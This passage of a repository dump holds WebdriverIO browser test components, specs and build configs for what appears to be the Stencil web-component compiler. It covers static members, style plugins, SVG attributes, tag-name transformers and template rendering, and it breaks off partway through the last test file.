    "path": "test/wdio/static-members/static-members-separate-export.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'static-members-separate-export',\n})\nclass StaticMembersWithSeparateExport {\n  /**\n   * See the spec file associated with this file for the motivation for this test\n   */\n  static property = 'public';\n  private static anotherProperty = 'private';\n\n  render() {\n    return (\n      <div>\n        This is a component with static {StaticMembersWithSeparateExport.property} and{' '}\n        {StaticMembersWithSeparateExport.anotherProperty} members\n      </div>\n    );\n  }\n}\nexport { StaticMembersWithSeparateExport };\n"
  },
  {
    "path": "test/wdio/static-members/static-members-separate-initializer.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'static-members-separate-initializer',\n})\nexport class StaticMembersWithSeparateInitializer {\n  /**\n   * See the spec file associated with this file for the motivation for this test\n   */\n  static property: string;\n  render() {\n    return <div>This is a component with static an {StaticMembersWithSeparateInitializer.property} member</div>;\n  }\n}\nStaticMembersWithSeparateInitializer.property = 'externally initialized';\n"
  },
  {
    "path": "test/wdio/static-members/static-members.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('static-members', function () {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <static-members></static-members>\n          <static-decorated-members></static-decorated-members>\n          <static-members-separate-export></static-members-separate-export>\n          <static-members-separate-initializer></static-members-separate-initializer>\n        </>\n      ),\n    });\n  });\n\n  it('renders properly with initialized static members', async () => {\n    const cmp = await $('static-members').$('div');\n    await expect(cmp).toHaveText('This is a component with static public and private members');\n  });\n\n  it('renders properly with initialized, decorated static members', async () => {\n    const cmp = await $('static-decorated-members').$('div');\n    await expect(cmp).toHaveText('This is a component with a static Stencil decorated member');\n  });\n\n  it('renders properly with a separate export', async () => {\n    const cmp = await $('static-members-separate-export').$('div');\n    await expect(cmp).toHaveText('This is a component with static public and private members');\n  });\n\n  it('renders properly with a static member initialized outside of a class', async () => {\n    const cmp = await $('static-members-separate-initializer').$('div');\n    await expect(cmp).toHaveText('This is a component with static an externally initialized member');\n  });\n});\n"
  },
  {
    "path": "test/wdio/static-members/static-members.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'static-members',\n})\nexport class StaticMembers {\n  /**\n   * See the spec file associated with this file for the motivation for this test\n   */\n  static property = 'public';\n  private static anotherProperty = 'private';\n\n  render() {\n    return (\n      <div>\n        This is a component with static {StaticMembers.property} and {StaticMembers.anotherProperty} members\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/static-styles/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('static-styles', function () {\n  beforeEach(() => {\n    render({\n      template: () => <static-styles></static-styles>,\n    });\n  });\n\n  it('applies styles from static getter', async () => {\n    await $('static-styles').waitForExist();\n    await expect($('h1')).toHaveStyle({\n      color: 'rgb(255,0,0)',\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/static-styles/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'static-styles',\n})\nexport class StaticStyles {\n  render() {\n    return (\n      <Host>\n        <h1>static get styles()</h1>\n      </Host>\n    );\n  }\n\n  static get styles() {\n    return `\n      h1 {\n        color: red;\n      }\n    `;\n  }\n}\n"
  },
  {
    "path": "test/wdio/stencil-sibling/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('stencil-sibling', function () {\n  beforeEach(() => {\n    render({\n      template: () => <stencil-sibling></stencil-sibling>,\n    });\n  });\n\n  it('loads sibling root', async () => {\n    const stencilSibling = await $('stencil-sibling');\n    await stencilSibling.waitForExist();\n    await expect(stencilSibling).toBeExisting();\n\n    const siblingRoot = await stencilSibling.$('sibling-root');\n    await expect(siblingRoot).toBeExisting();\n\n    const section = await siblingRoot.$('div section');\n    await expect(section).toHaveText('sibling-shadow-dom');\n\n    const article = await siblingRoot.$('article');\n    await expect(article).toHaveText('sibling-light-dom');\n  });\n});\n"
  },
  {
    "path": "test/wdio/stencil-sibling/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'stencil-sibling',\n})\nexport class StencilSibling {\n  render() {\n    return (\n      <Host>\n        <sibling-root>sibling-light-dom</sibling-root>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/stencil.config-es2022.ts",
    "content": "import type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestTSTarget',\n  tsconfig: 'tsconfig-es2022.json',\n  srcDir: 'ts-target',\n  outputTargets: [\n    {\n      type: 'dist',\n      dir: './test-ts-target-output/dist',\n    },\n    {\n      type: 'dist-custom-elements',\n      dir: './test-ts-target-output/custom-elements',\n      customElementsExportBehavior: 'auto-define-custom-elements',\n      externalRuntime: false,\n    },\n    {\n      type: 'dist-hydrate-script',\n      dir: './test-ts-target-output/hydrate',\n    },\n  ],\n  sourceMap: true,\n};\n"
  },
  {
    "path": "test/wdio/stencil.config.ts",
    "content": "import { sass } from '@stencil/sass';\n\nimport type { Config } from '../../internal/index.js';\n\nexport const config: Config = {\n  namespace: 'TestApp',\n  tsconfig: 'tsconfig-stencil.json',\n  excludeComponents: ['excluded-component', 'exclude-*', 'auto-loader*'],\n  outputTargets: [\n    {\n      type: 'dist',\n    },\n    {\n      type: 'dist-custom-elements',\n      dir: 'test-components',\n      customElementsExportBehavior: 'bundle',\n      isPrimaryPackageOutputTarget: true,\n      externalRuntime: false,\n    },\n    {\n      type: 'dist-hydrate-script',\n      dir: 'hydrate',\n    },\n  ],\n  plugins: [\n    sass({\n      quietDeps: true,\n      silenceDeprecations: ['import'],\n    }),\n  ],\n  buildDist: true,\n  globalStyle: './style-plugin/global-sass-entry.scss',\n  globalScript: './global.ts',\n  extras: {\n    lifecycleDOMEvents: true,\n    scriptDataOpts: true,\n    experimentalSlotFixes: true,\n    experimentalScopedSlotChanges: true,\n    additionalTagTransformers: true,\n  },\n};\n"
  },
  {
    "path": "test/wdio/style-plugin/bar.scss",
    "content": ":host {\n  display: block;\n  font-style: italic;\n}\n\nh1 {\n  color: blue;\n}\n\np {\n  // change\n  color: blue;\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('style-plugin', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <h1>Styles!</h1>\n          <h2>Hurray!</h2>\n          <hr />\n          <css-cmp></css-cmp>\n          <sass-cmp></sass-cmp>\n          <multiple-styles-cmp></multiple-styles-cmp>\n        </>\n      ),\n    });\n  });\n\n  it('sass-cmp', async () => {\n    await $('sass-cmp').waitForExist();\n    const sassHost = document.querySelector('sass-cmp');\n    const shadowRoot = sassHost.shadowRoot;\n\n    await $('>>>.sass-entry').waitForExist();\n    const sassEntry = shadowRoot.querySelector('.sass-entry');\n    const sassImportee = shadowRoot.querySelector('.sass-importee');\n    const cssImportee = shadowRoot.querySelector('.css-importee');\n    const bootstrapBtn = shadowRoot.querySelector('.btn-primary');\n    const hr = shadowRoot.querySelector('hr');\n\n    expect(window.getComputedStyle(sassEntry).color).toBe('rgb(255, 0, 0)');\n    expect(window.getComputedStyle(sassImportee).color).toBe('rgb(0, 128, 0)');\n    expect(window.getComputedStyle(cssImportee).color).toBe('rgb(0, 0, 255)');\n    expect(window.getComputedStyle(bootstrapBtn).color).toBe('rgb(255, 255, 255)');\n    expect(window.getComputedStyle(hr).height).toBe('0px');\n  });\n\n  it('css-cmp', async () => {\n    await $('css-cmp').waitForExist();\n    const cssHost = document.querySelector('css-cmp');\n    const shadowRoot = cssHost.shadowRoot;\n\n    await $('>>>.css-entry').waitForExist();\n    const cssEntry = shadowRoot.querySelector('.css-entry');\n    const cssImportee = shadowRoot.querySelector('.css-importee');\n    const hr = shadowRoot.querySelector('hr');\n\n    expect(window.getComputedStyle(cssEntry).color).toBe('rgb(128, 0, 128)');\n    expect(window.getComputedStyle(cssImportee).color).toBe('rgb(0, 0, 255)');\n    expect(window.getComputedStyle(hr).height).toBe('0px');\n  });\n\n  it('multiple-styles-cmp', async () => {\n    await $('multiple-styles-cmp').waitForExist();\n    const cssHost = document.querySelector('multiple-styles-cmp');\n    const shadowRoot = cssHost.shadowRoot;\n\n    await $('>>>h1').waitForExist();\n    const h1 = getComputedStyle(shadowRoot.querySelector('h1'));\n    const div = getComputedStyle(shadowRoot.querySelector('p'));\n    // color is red because foo.scss is mentioned last and overwrites bar.scss\n    expect(h1.color).toEqual('rgb(255, 0, 0)');\n    expect(div.color).toEqual('rgb(255, 0, 0)');\n    // ensure styles defined in bar.scss are applied too\n    expect(h1.fontStyle).toEqual('italic');\n    expect(div.fontStyle).toEqual('italic');\n  });\n});\n"
  },
  {
    "path": "test/wdio/style-plugin/css-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'css-cmp',\n  styleUrl: 'css-entry.css',\n  shadow: true,\n})\nexport class CssCmp {\n  render() {\n    return (\n      <Host>\n        <div class=\"css-entry\">Css Entry</div>\n        <div class=\"css-importee\">Css Importee</div>\n        <hr />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/css-entry.css",
    "content": "@import 'css-importee.css';\n@import '~normalize.css/normalize.css';\n\n.css-entry {\n  color: purple;\n  font-weight: bold;\n}\n\n.css-entry::after {\n  content: ': from css-entry.css';\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/css-importee.css",
    "content": "hr {\n  /* this should be overriden by normalize.css to 0 */\n  height: 100px;\n\n  background-color: red;\n}\n\n.css-importee {\n  color: blue;\n  font-weight: bold;\n}\n\n.css-importee::after {\n  content: ': from css-importee.css';\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/foo.scss",
    "content": ":host {\n  display: block;\n}\n\nh1 {\n  color: red;\n}\n\np {\n  color: red;\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/global-css-entry.css",
    "content": "h2 {\n  font-size: 16px;\n  color: red;\n}\n\nh2::after {\n  content: ': from global-css-entry.css';\n}\n\n:host {\n  display: block;\n  margin: 10px;\n  padding: 20px;\n  border: 5px dotted red;\n}"
  },
  {
    "path": "test/wdio/style-plugin/global-sass-entry.scss",
    "content": "@import 'global-css-entry.css';\n\n$h1-font-size: 18px;\n\nh1 {\n  font-size: $h1-font-size;\n  color: maroon;\n  display: flex;\n}\n\nh1::after {\n  content: ': from global-sass-entry.scss';\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/multiple-styles.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'multiple-styles-cmp',\n  /**\n   * styles are intentionally duplicated to ensure that `foo.scss` can overwrite\n   * `bar.scss` since it is set last in the `styleUrls` array.\n   */\n  styleUrls: ['foo.scss', 'bar.scss', 'foo.scss'],\n  shadow: true,\n})\nexport class SassCmp {\n  render() {\n    return (\n      <main>\n        <h1>Hello World</h1>\n        <p>What's your name?</p>\n      </main>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/sass-bootstrap.scss",
    "content": "@import '~bootstrap/scss/_functions';\n@import '~bootstrap/scss/_mixins';\n@import '~bootstrap/scss/_variables';\n@import '~bootstrap/scss/_buttons';\n"
  },
  {
    "path": "test/wdio/style-plugin/sass-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'sass-cmp',\n  styleUrl: 'sass-entry.scss',\n  shadow: true,\n})\nexport class SassCmp {\n  render() {\n    return (\n      <Host>\n        <div class=\"sass-entry\">Sass Entry</div>\n        <div class=\"sass-importee\">Sass Importee</div>\n        <div class=\"css-importee\">Css Importee</div>\n        <button class=\"btn btn-primary\">Bootstrap</button>\n        <hr />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/sass-entry.scss",
    "content": "@import 'sass-importee';\n@import 'css-importee.css';\n@import '~normalize.css/normalize.css';\n@import 'sass-bootstrap';\n\n.sass-entry {\n  color: $sass-entry-color;\n  font-weight: bold;\n}\n\n.sass-entry::after {\n  content: ': from sass-entry.scss';\n}\n\nhr {\n  background-color: blue;\n}\n"
  },
  {
    "path": "test/wdio/style-plugin/sass-importee.scss",
    "content": "$sass-entry-color: red;\n$sass-importee-color: green;\n\n.sass-importee {\n  color: $sass-importee-color;\n  font-weight: bold;\n}\n\n.sass-importee::after {\n  content: ': from sass-importee.css';\n}\n"
  },
  {
    "path": "test/wdio/svg-attr/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('svg attr', () => {\n  beforeEach(() => {\n    render({\n      template: () => <svg-attr></svg-attr>,\n    });\n  });\n\n  it('adds and removes attribute', async () => {\n    const rect = $('rect');\n    await expect(rect).not.toHaveAttribute('transform');\n\n    await $('button').click();\n    await expect(rect).toHaveAttribute('transform', 'rotate(45 27 27)');\n\n    await $('button').click();\n    await expect(rect).not.toHaveAttribute('transform');\n  });\n});\n"
  },
  {
    "path": "test/wdio/svg-attr/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'svg-attr',\n})\nexport class SvgAttr {\n  @State() isOpen = false;\n\n  testClick() {\n    this.isOpen = !this.isOpen;\n  }\n\n  render() {\n    return (\n      <div>\n        <div>\n          <button onClick={this.testClick.bind(this)}>Test</button>\n        </div>\n        <div>\n          {this.isOpen ? (\n            <svg viewBox=\"0 0 54 54\">\n              <rect\n                transform=\"rotate(45 27 27)\"\n                y=\"22\"\n                width=\"54\"\n                height=\"10\"\n                rx=\"2\"\n                stroke=\"yellow\"\n                stroke-width=\"5px\"\n                stroke-dasharray=\"8 4\"\n              />\n            </svg>\n          ) : (\n            <svg viewBox=\"0 0 54 54\">\n              <rect y=\"0\" width=\"54\" height=\"10\" rx=\"2\" stroke=\"blue\" stroke-width=\"2px\" stroke-dasharray=\"4 2\" />\n            </svg>\n          )}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/svg-class/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('svg class', () => {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <style>\n            {`.primary circle {\n                fill: red;\n              }\n              .primary rect {\n                fill: blue;\n              }`}\n          </style>\n          <svg-class></svg-class>\n        </>\n      ),\n    });\n  });\n\n  it('toggles svg class', async () => {\n    await $('svg-class').waitForExist();\n    const svg = $('svg');\n    const circle = $('circle');\n    const rect = $('rect');\n\n    await expect(svg).not.toHaveElementClass('primary');\n    await expect(circle).not.toHaveElementClass('red');\n    await expect(rect).not.toHaveElementClass('blue');\n\n    await $('button').click();\n    await $('svg-class').waitForStable();\n\n    await expect(svg).toHaveElementClass('primary');\n    await expect(circle).toHaveElementClass('red');\n    await expect(rect).toHaveElementClass('blue');\n  });\n});\n"
  },
  {
    "path": "test/wdio/svg-class/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'svg-class',\n})\nexport class SvgClass {\n  @State() hasColor = false;\n\n  testClick() {\n    this.hasColor = !this.hasColor;\n  }\n\n  render() {\n    return (\n      <div>\n        <div>\n          <button onClick={this.testClick.bind(this)}>Test</button>\n        </div>\n        <div>\n          <svg viewBox=\"0 0 54 54\" class={this.hasColor ? 'primary' : undefined}>\n            <circle cx=\"8\" cy=\"18\" width=\"54\" height=\"8\" r=\"2\" class={this.hasColor ? 'red' : undefined} />\n            <rect y=\"2\" width=\"54\" height=\"8\" rx=\"2\" class={this.hasColor ? 'blue' : undefined} />\n          </svg>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/tag-names/cmp-tag-3d.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'tag-3d-component',\n})\nexport class CmpTag3d {\n  render() {\n    return <div>tag-3d-component</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/tag-names/cmp-tag-88.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'tag-88',\n})\nexport class CmpTag88 {\n  render() {\n    return <div>tag-88</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/tag-names/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('conditional-rerender', function () {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <tag-88></tag-88>\n          <tag-3d-component></tag-3d-component>\n        </>\n      ),\n    });\n  });\n\n  it('should load tags with numbers in them', async () => {\n    await expect($('tag-3d-component').$('div')).toHaveText('tag-3d-component');\n    await expect($('tag-88').$('div')).toHaveText('tag-88');\n  });\n});\n"
  },
  {
    "path": "test/wdio/tag-transform/child-tag-transform.tsx",
    "content": "import { Component, Element, h, Method, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'child-tag-transform',\n  styles: /* css */ `\n    child-tag-transform {\n      display: block;\n      padding: 10px;\n      margin: 5px 0;\n      border: 1px solid #ccc;\n      border-radius: 4px;\n      background: #f0f0f0;\n    }\n\n    child-tag-transform.active {\n      border-color: #007acc;\n      background: #e6f2ff;\n    }\n\n    child-tag-transform:hover {\n      background: #d0e7ff;\n      box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);\n    }\n  `,\n})\nexport class TagTransformChild {\n  @Element() el: HTMLElement;\n\n  @Prop() message: string = 'Hello from Child';\n\n  @Method()\n  async closestParentTag() {\n    return this.el.closest<HTMLParentTagTransformElement>('parent-tag-transform');\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Child Component</h2>\n        <slot />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/tag-transform/custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElements } from '/test-components';\n    defineCustomElements();\n  </script>\n</head>\n<body>\n  <h1>dist-custom-elements output</h1>\n  <parent-tag-is-transformed>\n    <child-tag-is-transformed></child-tag-is-transformed>\n  </parent-tag-is-transformed>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/tag-transform/parent-tag-transform.css",
    "content": ":host {\n  display: block;\n  padding: 15px;\n  border: 2px solid green;\n}\n\nchild-tag-transform {\n  display: block;\n  padding: 10px;\n  margin: 5px;\n  border: 2px solid blue;\n}"
  },
  {
    "path": "test/wdio/tag-transform/parent-tag-transform.tsx",
    "content": "import { Component, Element, h, Method } from '@stencil/core';\n\n@Component({\n  tag: 'parent-tag-transform',\n  styleUrl: 'parent-tag-transform.css',\n  shadow: true,\n})\nexport class TagTransformParent {\n  @Element() el: HTMLElement;\n\n  @Method()\n  async querySelectorAllChildTags() {\n    return this.el.shadowRoot?.querySelectorAll('child-tag-transform');\n  }\n\n  @Method()\n  async querySelectorChildTags() {\n    return this.el.shadowRoot?.querySelector('child-tag-transform');\n  }\n\n  @Method()\n  async createChildTagElement() {\n    return document.createElement('child-tag-transform');\n  }\n\n  @Method()\n  async customElementsGetChild() {\n    return customElements.get('child-tag-transform');\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Parent Component</h2>\n        <child-tag-transform message=\"Hello from Parent!\"></child-tag-transform>\n        <child-tag-transform message=\"Another Child\"></child-tag-transform>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/tag-transform/tag-transform.test.tsx",
    "content": "import { h, setTagTransformer, transformTag } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { browser } from '@wdio/globals';\n\nimport {\n  renderToString,\n  setTagTransformer as hydrateSetTagTransformer,\n  transformTag as hydrateTagTransformer,\n} from '../hydrate/index.mjs';\nimport { setupIFrameTest } from '../util.js';\nimport tagTransformer from './tag-transformer.js';\n\n// We need to register the tag transformer here 'cos tests use a different Stencil runtime instance\n// than the one used to build the components being tested.\nsetTagTransformer(tagTransformer);\nhydrateSetTagTransformer(tagTransformer);\nwindow.global = globalThis;\n\nconst jsxRendering = async (root: HTMLParentTagTransformElement) => {\n  expect(root.shadowRoot.querySelector('child-tag-is-transformed')).toBeTruthy();\n};\nconst querySelector = async (root: HTMLParentTagTransformElement) => {\n  expect(await root.querySelectorChildTags()).toBeTruthy();\n};\nconst querySelectorAll = async (root: HTMLParentTagTransformElement) => {\n  expect((await root.querySelectorAllChildTags()).length).toBe(2);\n};\nconst createElement = async (root: HTMLParentTagTransformElement) => {\n  const child: any = await root.createChildTagElement();\n  expect(child.tagName).toBe('CHILD-TAG-IS-TRANSFORMED');\n};\nconst closest = async (root: HTMLParentTagTransformElement) => {\n  expect(\n    await root.querySelector<HTMLChildTagTransformElement>('child-tag-is-transformed').closestParentTag(),\n  ).toBeTruthy();\n};\nconst cssSelectors = async (root: HTMLParentTagTransformElement) => {\n  expect(getComputedStyle(root.shadowRoot.querySelector('child-tag-is-transformed')).borderColor).toBe(\n    'rgb(0, 0, 255)',\n  );\n  // blue border applied from parent-tag-transform.css using transformed selector\n};\n\ndescribe('Tag Transformer', () => {\n  describe('dist build', () => {\n    let el: HTMLParentTagTransformElement;\n\n    beforeEach(() => {\n      render({\n        components: [],\n        template: () => (\n          <parent-tag-is-transformed>\n            <child-tag-is-transformed />\n          </parent-tag-is-transformed>\n        ),\n      });\n      el = document.querySelector<HTMLParentTagTransformElement>('parent-tag-is-transformed');\n    });\n\n    it('basic', async () => {\n      expect(transformTag('child-tag-transform')).toBe('child-tag-is-transformed');\n      expect(transformTag('parent-tag-transform')).toBe('parent-tag-is-transformed');\n      expect(transformTag('something-else')).toBe('something-else');\n      expect(el).toBeTruthy();\n    });\n    it('transforms tags within jsx', async () => {\n      await jsxRendering(el);\n    });\n    it('transforms tags within querySelector', async () => {\n      await querySelector(el);\n    });\n    it('transforms tags within querySelectorAll', async () => {\n      await querySelectorAll(el);\n    });\n    it('transforms tags within createElement', async () => {\n      await createElement(el);\n    });\n    it('transforms tags within closest', async () => {\n      await closest(el);\n    });\n    it('applies styles using transformed css selectors', async () => {\n      await cssSelectors(el);\n    });\n  });\n\n  describe('dist-custom-elements build', () => {\n    let el: HTMLParentTagTransformElement;\n\n    before(async () => {\n      await browser.switchToParentFrame();\n      const frameContent = await setupIFrameTest('/tag-transform/custom-element.html', 'tag-transform-custom-elements');\n      // const frameEle = await browser.$('iframe#tag-transform-custom-elements');\n      // await frameEle.waitUntil(async () => !!frameContent.querySelector('parent-tag-is-transformed'), { timeout: 5000 });\n      el = frameContent.querySelector<HTMLParentTagTransformElement>('parent-tag-is-transformed');\n    });\n\n    it('basic', async () => {\n      expect(transformTag('child-tag-transform')).toBe('child-tag-is-transformed');\n      expect(transformTag('parent-tag-transform')).toBe('parent-tag-is-transformed');\n      expect(transformTag('something-else')).toBe('something-else');\n      expect(el).toBeTruthy();\n    });\n    it('transforms tags within jsx', async () => {\n      await jsxRendering(el);\n    });\n    it('transforms tags within querySelector', async () => {\n      await querySelector(el);\n    });\n    it('transforms tags within querySelectorAll', async () => {\n      await querySelectorAll(el);\n    });\n    it('transforms tags within createElement', async () => {\n      await createElement(el);\n    });\n    it('transforms tags within closest', async () => {\n      await closest(el);\n    });\n    it('applies styles using transformed css selectors', async () => {\n      await cssSelectors(el);\n    });\n  });\n\n  describe('hydrate build', () => {\n    hydrateSetTagTransformer(tagTransformer);\n\n    renderToString(\n      `\n      <html>\n        <body>\n          <parent-tag-is-transformed>\n            <child-tag-is-transformed></child-tag-is-transformed>\n          </parent-tag-is-transformed>\n        </body>\n      </html>\n    `,\n      {\n        runtimeLogging: true,\n        afterHydrate: (doc: Document) => {\n          const el = doc.querySelector<HTMLParentTagTransformElement>('parent-tag-is-transformed');\n\n          it('basic', async () => {\n            expect(hydrateTagTransformer('child-tag-transform')).toBe('child-tag-is-transformed');\n            expect(hydrateTagTransformer('parent-tag-transform')).toBe('parent-tag-is-transformed');\n            expect(hydrateTagTransformer('something-else')).toBe('something-else');\n            expect(el).toBeTruthy();\n          });\n          it('transforms tags within jsx', async () => {\n            await jsxRendering(el);\n          });\n          it('transforms tags within querySelector', async () => {\n            await querySelector(el);\n          });\n          it('transforms tags within querySelectorAll', async () => {\n            await querySelectorAll(el);\n          });\n          it('transforms tags within createElement', async () => {\n            await createElement(el);\n          });\n          it('transforms tags within closest', async () => {\n            await closest(el);\n          });\n        },\n      },\n    ).then((result) => {\n      it('applies styles using transformed css selectors', async () => {\n        expect(result.html).toContain('child-tag-is-transformed:hover {');\n        expect(result.html).toContain('child-tag-is-transformed.active {');\n        expect(result.html).toContain(\n          'child-tag-is-transformed{display:block;padding:10px;margin:5px;border:2px solid blue}',\n        );\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/tag-transform/tag-transformer.ts",
    "content": "export default (tagName: string) => {\n  if (tagName.endsWith('-tag-transform')) {\n    return tagName.replace('-tag-transform', '-tag-is-transformed');\n  }\n  return tagName;\n};\n"
  },
  {
    "path": "test/wdio/tag-transformer.ts",
    "content": "export default (tagName) => {\n  if ((tagName.includes('tag-transform') || tagName === 'nested-child-tag') && !tagName.includes('tag-transformed')) {\n    return tagName.replace('tag-', 'tag-transformed');\n  }\n  return tagName;\n};\n"
  },
  {
    "path": "test/wdio/template-render/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser } from '@wdio/globals';\n\ndescribe('template-render', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <template-render></template-render>,\n    });\n  });\n\n  it('should render template elements', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    expect(host).toBeDefined();\n\n    const shadowRoot = host.shadowRoot;\n    expect(shadowRoot).toBeDefined();\n\n    const simpleTemplate = shadowRoot.querySelector('template#simple-template');\n    expect(simpleTemplate).toBeDefined();\n    expect(simpleTemplate.tagName).toBe('TEMPLATE');\n  });\n\n  it('should have children in template.content, not as direct children', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const simpleTemplate = shadowRoot.querySelector<HTMLTemplateElement>('#simple-template');\n\n    // Template element itself should have NO child nodes\n    expect(simpleTemplate.childNodes.length).toBe(0);\n\n    // Template content should have the children\n    expect(simpleTemplate.content.childNodes.length).toBeGreaterThan(0);\n\n    const contentChild = simpleTemplate.content.querySelector('.template-content');\n    expect(contentChild).toBeDefined();\n    expect(contentChild.textContent).toBe('This is template content');\n  });\n\n  it('should support nested template content', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const nestedTemplate = shadowRoot.querySelector<HTMLTemplateElement>('template#nested-template');\n\n    // Template should have no direct children\n    expect(nestedTemplate.childNodes.length).toBe(0);\n\n    // Content should have the nested structure\n    const container = nestedTemplate.content.querySelector('.container');\n    expect(container).toBeDefined();\n    expect(container.childNodes.length).toBe(3); // h2, p, span\n\n    const h2 = container.querySelector('h2');\n    expect(h2.textContent).toBe('Nested Template');\n\n    const p = container.querySelector('p');\n    expect(p.textContent).toBe('With multiple children');\n\n    const span = container.querySelector('span');\n    expect(span.textContent).toBe('And different tags');\n  });\n\n  it('should allow cloning template content', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const listTemplate = shadowRoot.querySelector<HTMLTemplateElement>('template#list-template');\n    expect(listTemplate).toBeDefined();\n\n    // Clone the template content\n    const clone = listTemplate.content.cloneNode(true) as DocumentFragment;\n    expect(clone.childNodes.length).toBe(1);\n\n    const clonedLi = clone.querySelector('li');\n    expect(clonedLi).toBeDefined();\n    expect(clonedLi.classList.contains('list-item')).toBe(true);\n\n    const clonedSpan = clonedLi.querySelector('.item-text');\n    expect(clonedSpan).toBeDefined();\n    expect(clonedSpan.textContent).toBe('Placeholder');\n  });\n\n  it('should allow multiple clones from the same template', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const listTemplate = shadowRoot.querySelector<HTMLTemplateElement>('template#list-template');\n    const container = shadowRoot.querySelector('#cloned-container');\n\n    // Clone and append multiple times\n    for (let i = 1; i <= 3; i++) {\n      const clone = listTemplate.content.cloneNode(true) as DocumentFragment;\n      const li = clone.querySelector('li');\n      const span = li.querySelector('.item-text');\n      span.textContent = `Cloned Item ${i}`;\n      container.appendChild(clone);\n    }\n\n    // Verify all clones were added\n    const clonedItems = container.querySelectorAll('.list-item');\n    expect(clonedItems.length).toBe(3);\n\n    expect(clonedItems[0].querySelector('.item-text').textContent).toBe('Cloned Item 1');\n    expect(clonedItems[1].querySelector('.item-text').textContent).toBe('Cloned Item 2');\n    expect(clonedItems[2].querySelector('.item-text').textContent).toBe('Cloned Item 3');\n  });\n\n  it('should handle template content after component updates', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const addButton = shadowRoot.querySelector('#add-item') as HTMLButtonElement;\n    const listTemplate = shadowRoot.querySelector('#list-template') as HTMLTemplateElement;\n\n    // Trigger a component update\n    addButton.click();\n    await browser.pause(100); // Wait for update\n\n    // Template content should still be intact and cloneable\n    expect(listTemplate.content.childNodes.length).toBeGreaterThan(0);\n\n    const clone = listTemplate.content.cloneNode(true) as DocumentFragment;\n    const clonedLi = 